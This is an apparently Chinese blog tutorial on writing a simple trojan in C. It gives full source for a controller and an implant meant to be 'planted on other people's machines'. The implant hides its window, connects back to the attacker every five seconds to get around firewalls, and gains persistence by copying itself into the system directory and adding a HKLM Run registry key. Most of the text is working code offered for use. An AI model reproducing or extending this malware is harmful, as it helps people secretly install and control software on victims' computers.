简单木马程序设计 |
当你有一门语言基础时和简单的网络知识后就可以开始,C语言就足够了。知道什么是TCP/IP就可以了,需要知道API函数(自己会查就可以了)。 实质上,木马仅仅是一个网络应用程序一样,就象QQ一样,假若我们把QQ的界面给隐藏了,然后自己能启动,它就可以说是腾讯公司的一个木马。 我选用TCP协议编写木马,所以必须知道一些TCP的套路。 木马一个客户端,由你控制,另外一个服务端,种植在别人机器上。这样形成了Client/Server模型,C/S建立的基本步骤: 服务端:1。初始化WSA 2。建立SOCKET 3。绑定SOCKET 4。在指定的端口监听5。接受一个连接 6。发送接受数据 7。断开连接 客户端:1。初始化WSA 2。建立SOCKET 3。连接到服务器 4。发送接受数据 5。断开连接 这样客户端就可以主动去连接服务端,然后交换数据。由于现在防火墙基本上不允许外部去连接本机的某个未被认同的端口,所以要选择 别人机器上的木马去连接你的一个端口(自己修改防火墙规则就可以了),也就是说你的机器做了服务器端,别人是客户端。 前两步都一样的: 1##################################### 初始化WSA , WSADATA ws; if(WSAStartup(MAKEWORD(2,2),&ws)!=NO_ERROR) { // printf("start failed/n"); return; }//本段代码只是初始化某个东西,记着初始化就可以了,要不然没有办法继续 ...........//中间过程 WSACleanup();//最后要清理的 2###################################### 接着初始化一个socket, SOCKET sock; //SOCKET是一个结构体 sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); if(sock==-1) { // printf("socket error/n"); WSACleanup(); return; }//socket()的参数IPPROTO_TCP就是建立TCP。其他的参数定义自己去查MSDN。 3###控制端############################# 如果是在你自己机器上运行的程序(控制端),我们需要将SOCKET绑定上一个IP地址和本机端口,不过还需要一个结构体 sockaddr_in server;//又有一个结构体,怎么定义的我也不知道。反正用到了下面的参数 server.sin_family=AF_INET; //TCP/IP协议族 server.sin_addr.s_addr=inet_addr("127.0.0.1");//绑定的本机IP,就127.0.0.1就行了,不用改 server.sin_port=htons(4317);//你要监听的端口,4317改变为任何1--65532之间,前提是该端口没有被占用。 接着进行绑定,将server绑定在sock上。用的是bind(), if(bind(sock,(sockaddr *)&server,sizeof(server))<0) { printf("bind error/n"); closesocket(sock); WSACleanup(); return; } 4###控制端############################ 可以开始监听,即开放了自己的4317端口等待中马者连接 if(listen(sock,1)==-1)//开始监听 { printf("listen error/n"); closesocket(sock); WSACleanup(); return; } 5###控制端############################ 接受一个连接 SOCKET accsock=-1; //新建一个SOCKET,循环用 while(accsock==-1)//此时程序会阻塞,直到别人连时才会返回。 { accsock=accept(sock,NULL,NULL);//等待连接 accept(),可以去查MSDN。 } printf("connected/n"); sock=accsock; 此时如果在命令行下输入 netstat -an 命令,应该会看到有个 TCP 127.0.0.1:4317 0.0.0.0:0 LISTENING OK,控制端基本上初始化完毕,接着看被控端 3#####接着看受控端的第三步############ sockaddr_in server; //一样的 server.sin_family=AF_INET; //TCP/IP协议族 server.sin_addr.s_addr=inet_addr("127.0.0.1");//绑定的你的IP,就是控制端,你机器的IP,我的是61.*.*.*, //如果在本机上做测试,写127.0.0.1(自己机器通用IP)就可以, server.sin_port=htons(4317);//这个端口要和上面的相同。 接着去连接,用到了connect()函数 for(;;) { if(connect(sock,(sockaddr *)&server,sizeof(server))==SOCKET_ERROR) { // printf("failed/n"); Sleep(5000); //5秒钟尝试一次连接 } else { break; } } 这时,如果控制端在监听的话,就会建立一个TCP连接。可以进行下一步数据交换了 6###控制端############################## 我们先随意输入一个字符串,然后将它传递给另一端 char sendbuff[1024]; gets(sendbuff); send(sock,sendbuff,sizeof(sendbuff),0);//这个是发送函数。搞定之后已经发了出去。 printf("send ok/n"); #######被控端########## 在受控端开始接收数据 char recvbuff[1024]={0,}; int rlen=recv(sock,recvbuff,1024,0);//返回值为接受到的字节数。 //在接受完之后,我们希望它能在被控端用对话框的形式跳出来。则用MessageBox()函数。 MessageBox(NULL,recvbuff,NULL,0);//具体的自己去查 OK,这时,就会跳出一个对话框。 当我们还需要传输数据时,接着调用recv()和send()两个函数,利用循环实现。不需要时退出。 7######################################## closesocket(sock); WSACleanup(); return;//清理工作。。。。。 ######################################### 感觉写的很乱,而且没有什么内容,只是简单的说了下TCP连接。 下面贴出来个代码,实现控制端输入一个数据,被控端跳出个对话框。至于怎么自动启动,躲防火墙等等等等的问题,以后再写出来 控制端: #i nclude #i nclude #pragma comment (lib,"ws2_32.lib") void main() { WSADATA ws; if(WSAStartup(MAKEWORD(2,2),&ws)!=NO_ERROR) { printf("start failed/n"); return; } SOCKET sock; //SOCKET是一个结构体 sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); if(sock==-1) { printf("socket error/n"); WSACleanup(); return; } sockaddr_in server;//又有一个结构体,怎么定义的我也不知道。反正用到了下面的参数 server.sin_family=AF_INET; //TCP/IP协议族 server.sin_addr.s_addr=inet_addr("127.0.0.1");//绑定的本机IP server.sin_port=htons(4317); if(bind(sock,(sockaddr *)&server,sizeof(server))<0) { printf("bind error/n"); closesocket(sock); WSACleanup(); return; } if(listen(sock,1)==-1)//此时程序会阻塞,直到别人连时才会返回。 { printf("listen error/n"); closesocket(sock); WSACleanup(); return; } printf("please waiting for connected/n"); SOCKET accsock=-1; while(accsock==-1) { accsock=accept(sock,NULL,NULL); } printf("connected/n"); sock=accsock; char sendbuff[1024]; gets(sendbuff); send(sock,sendbuff,sizeof(sendbuff),0); printf("send ok/n"); closesocket(sock); WSACleanup(); return; } /************************被控端代码:**************/ #i nclude #i nclude #pragma comment (lib,"ws2_32.lib") //问出来的,这个编译选项我始终不知道怎么搞,只知道能实现隐藏截面 #pragma comment(linker, "/subsystem:/"windows/" /entry:/"mainCRTStartup/"" ) //不过用WINMAIN也可以直接实现隐藏 void main() { WSADATA ws; if(WSAStartup(MAKEWORD(2,2),&ws)!=NO_ERROR) { // printf("start failed/n"); return; } SOCKET sock; //SOCKET是一个结构体 sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); if(sock==-1) { // printf("socket error/n"); WSACleanup(); return; }//socket() sockaddr_in server;/*又有一个结构体,怎么定义的我也不知道。反正用到了下面的参数*/ server.sin_family=AF_INET; //TCP/IP协议族 server.sin_addr.s_addr=inet_addr("127.0.0.1");//绑定的本机IP server.sin_port=htons(4317); for(;;) { if(connect(sock,(sockaddr *)&server,sizeof(server))==SOCKET_ERROR) { // printf("failed/n"); } else break; Sleep(5000) ; } char recvbuff[1024]={0,}; int rlen=recv(sock,recvbuff,1024,0); ::MessageBox(NULL,recvbuff,NULL,0); closesocket(sock); WSACleanup(); return; } //************************完结*****************/ //防火墙会报警的,允许他们通过就可以了。编译通过了VC6。 我靠,看了一遍,太乱了。 接着往下写吧。怎么让程序在开机时自动启动。最基本的思路就是修改注册表里的内容。这里我只介绍修改其中的一个键,其他的都一样。。。http://www.enet.com.cn/article/2004/0624/A20040624319558_2.shtml。。。这里有10种不同的键值,但是原理都一样的。先来看这个键值:HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run,,你可以打开注册表看一下这个项,先有个印象。然后再看怎么编程。 关于操作注册表的API函数有很多,我不举例了,只看下面的两个 RegOpenKey(),打开一个注册表的KEY,必须先打开才能操作,RegSetvalueEx(),将某个注册表的项的值设置。。返回值都为long,具体参数如下,我只注释我所关心的,其他的自己去查。 char regname[]="//Software//Microsoft//Windows//CurrentVersion//Run"; HEKY hkResult; int ret=RegOpenKey(HEKY_LOCAL_MACHINE, //就是个根键 regname, //我们定义的字符串 &hkResult); //HKEY类的参数,需要向下一个函数传递。 ret=RegSetValueEx(hkResult, //上面的 "yk", //添加表项的名字,可以随意改的,我ID是yk.. 0,REG_EXPAND_SZ, (unsigned char *)"%systemroot%//yk.exe", //你想要启动的程序的路径 这个是c:/windows/system32/yk.exe 21); //上一个字符串的长度 //如果成功的话,则返回0,或者ERROR_SUCCESS,不成功返回非0值。 接着说怎么将自己的程序拷贝到系统目录下。 char mypath[256]; char syspath[256]; GetModuleFileName(0,mypath,256); //得到现在运行程序的路径 GetSystemDirectory(syspath,256); //得到系统目录的路径 int ret=CopyFile(mypath,strcat(syspath,"//yk.exe"),1); //将其拷贝过去,,一般情况下是c:/windows/system32/yk.exe 这样就可以了,下面贴出来个开机自动运行的程序的源代码。 //****************************************************// #i nclude #i nclude int reg() { char mypath[256]; char syspath[256]; GetModuleFileName(0,mypath,256); GetSystemDirectory(syspath,256); printf("%s/n",syspath); printf("%s/n",mypath); int ret=CopyFile(mypath,strcat(syspath,"//yang.exe"),1); if(ret==1) printf("copy ok/n"); char regname[]="software//microsoft//windows//currentversion//run"; printf("%s",regname); HKEY reg; ret=RegOpenKey(HKEY_LOCAL_MACHINE,regname,®); if(ret!=0) { printf("open failed/n"); return -1; } ret=RegSetValueEx(reg,"yking",0,REG_EXPAND_SZ,(unsigned char *)syspath,128); if(ret!=0) { RegCloseKey(reg); printf("write failed/n"); return 0; } printf(" reg ok/n"); return 0; }//reg void main() { reg(); MessageBox(GetTopWindow(NULL),"laji","yk",0); //弹出的窗口在最前方 } |
简单木马程序设计
最新推荐文章于 2024-07-18 10:27:19 发布